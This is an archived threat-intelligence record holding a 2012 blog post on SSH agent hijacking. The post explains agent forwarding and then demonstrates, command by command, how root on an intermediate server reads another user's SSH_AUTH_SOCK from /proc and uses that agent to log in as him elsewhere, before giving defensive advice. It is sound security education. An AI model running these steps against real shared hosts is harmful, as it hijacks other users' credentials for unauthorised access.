{
	"id": "68c6601c-82e2-44db-9e3b-51ab66ca9156",
	"created_at": "2026-04-06T00:18:51.918761Z",
	"updated_at": "2026-04-10T03:24:29.253182Z",
	"deleted_at": null,
	"sha1_hash": "cde15c1c26f215be897589fe95d539ff948ed7bf",
	"title": "SSH Agent Hijacking - Clockwork",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 60761,
	"plain_text": "SSH Agent Hijacking - Clockwork\r\nArchived: 2026-04-05 22:35:42 UTC\r\nWhen ForwardAgent Can’t Be Trusted\r\nSSH without passwords makes life with Unix-like operating systems much easier. If your network requires\r\nchained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful.\r\nWith agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn\r\ncheckout from yet another server, all without passwords, while keeping my private key safe on my local\r\nworkstation.\r\nThis can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the\r\nintermediate hosts are trustworthy. Rarely, however, will you find an explanation of why it’s dangerous.\r\nThat’s what this article is for. But first, some background.\r\nHow Passwordless Authentication Works\r\nWhen authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The\r\nserver compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in.\r\nIf an attacker is able to break the encryption used to protect your password while it’s being sent to the server, they\r\ncan steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands\r\nof attempts, they can eventually guess your password.\r\nA much safer authentication method is public key authentication, a way of logging in without a password. Public\r\nkey authentication requires a matched pair of public and private keys. The public key encrypts messages that can\r\nonly be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret\r\nmessage to you. You prove you are you by decrypting the message using your private key and sending the\r\nmessage back to the remote computer. Your private key remains safely on your local computer the entire time, safe\r\nfrom attack.\r\nThe private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately\r\nthis means entering your encryption passphrase before using it. Many articles suggest using passphrase-less\r\n(unencrypted) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your\r\nworkstation (via physical access, theft, or hackery) now also has free access to any computers configured with\r\nyour public key.\r\nOpenSSH includes ssh-agent, a daemon that runs on your local workstation. It loads a decrypted copy of your\r\nprivate key into memory, so you only have to enter your passphrase once. It then provides a local socket that the\r\nssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays\r\nhttps://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/\r\nPage 1 of 4\n\nsafely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in\r\npasswords.\r\nHow ForwardAgent Works\r\nMany tasks require “chaining” ssh sessions. Consider my example from earlier: I ssh from my workstation to the\r\ndev server. While there, I need to perform an svn update, using the “svn+ssh” protocol. Since it would be silly to\r\nleave an unencrypted copy of my super-secret private key on a shared server, I’m now stuck with password\r\nauthentication. If, however, I enabled “ForwardAgent” in the ssh config on my workstation, ssh uses its built-in\r\ntunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on\r\nmy local workstation. This means that the ssh client on the dev server can now send “decrypt this secret message”\r\nrequests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without\r\never having access to my private key.\r\nWhy This Can Be Dangerous\r\nSimply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to\r\nauthenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and\r\nusernames have been changed to protect the innocent.\r\nMy laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this\r\nsocket is stored in the SSH_AUTH_SOCK environment variable:\r\nmylaptop:~ env|grep SSH_AUTH_SOCK\r\nSSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners\r\nmylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners\r\nsrwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners\r\nThe ssh-add program lets us view and interact with keys in the agent:\r\nmylaptop:~ alice$ ssh-add -l\r\n2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)\r\nI have “ForwardAgent yes” in the ~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting\r\nthe local socket to a local socket on the remote server:\r\nmylaptop:~ alice$ ssh seattle\r\nseattle:~ $ env|grep SSH_AUTH_SOCK\r\nSSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990\r\nhttps://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/\r\nPage 2 of 4\n\nEven though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent\r\nrunning on my local machine:\r\nseattle:~ alice $ ssh-add -l\r\n2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)\r\nSo… who can we mess with?\r\nseattle:~ alice $ who\r\nalice pts/0 2012-04-06 18:24 (office.example.com)\r\nbob pts/1 2012-04-03 01:29 (office.example.com)\r\nalice pts/3 2012-04-06 18:31 (office.example.com)\r\nalice pts/5 2012-04-06 18:31 (office.example.com)\r\nalice pts/6 2012-04-06 18:33 (office.example.com)\r\ncharlie pts/23 2012-04-06 13:10 (office.example.com)\r\ncharlie pts/27 2012-04-03 12:32 (office.example.com)\r\nbob pts/29 2012-04-02 10:58 (office.example.com)\r\nI’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions:\r\nseattle:~ alice $ sudo -s\r\n[sudo] password for alice:\r\nseattle:~ root # pstree -p bob\r\nsshd(16816)───bash(16817)\r\nsshd(25296)───bash(25297)───vim(14308)\r\nThere are several ways for root to view the environment of a running process. On Linux, the data is available\r\nin /proc/\u003cpid\u003e/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to\r\nnewlines:\r\nseattle:~ root # tr '' 'n' \u003c /proc/16817/environ | grep SSH_AUTH_SOCK\r\nSSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816\r\nI now have everything I need to know in order to hijack Bob’s ssh-agent:\r\nseattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l\r\n2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)\r\nIf I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the\r\nprocess list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I\r\nknow Bob has all sorts of super secret files stored on the server named “boston”:\r\nhttps://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/\r\nPage 3 of 4\n\nseattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston\r\nbob@boston:~$ whoami\r\nbob\r\nI have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to\r\nget him fired.\r\nProtect Yourself!\r\nDon’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or\r\nwhen your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed\r\nafter  seconds.\r\nDon’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the ~/.ssh/config syntax\r\nmakes this fairly simple:\r\nHost trustworthyhost\r\n ForwardAgent yes\r\nHost *\r\n ForwardAgent no\r\nSource: https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/\r\nhttps://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/"
	],
	"report_names": [
		"ssh_agent_hijacking"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434731,
	"ts_updated_at": 1775791469,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/cde15c1c26f215be897589fe95d539ff948ed7bf.pdf",
		"text": "https://archive.orkl.eu/cde15c1c26f215be897589fe95d539ff948ed7bf.txt",
		"img": "https://archive.orkl.eu/cde15c1c26f215be897589fe95d539ff948ed7bf.jpg"
	}
}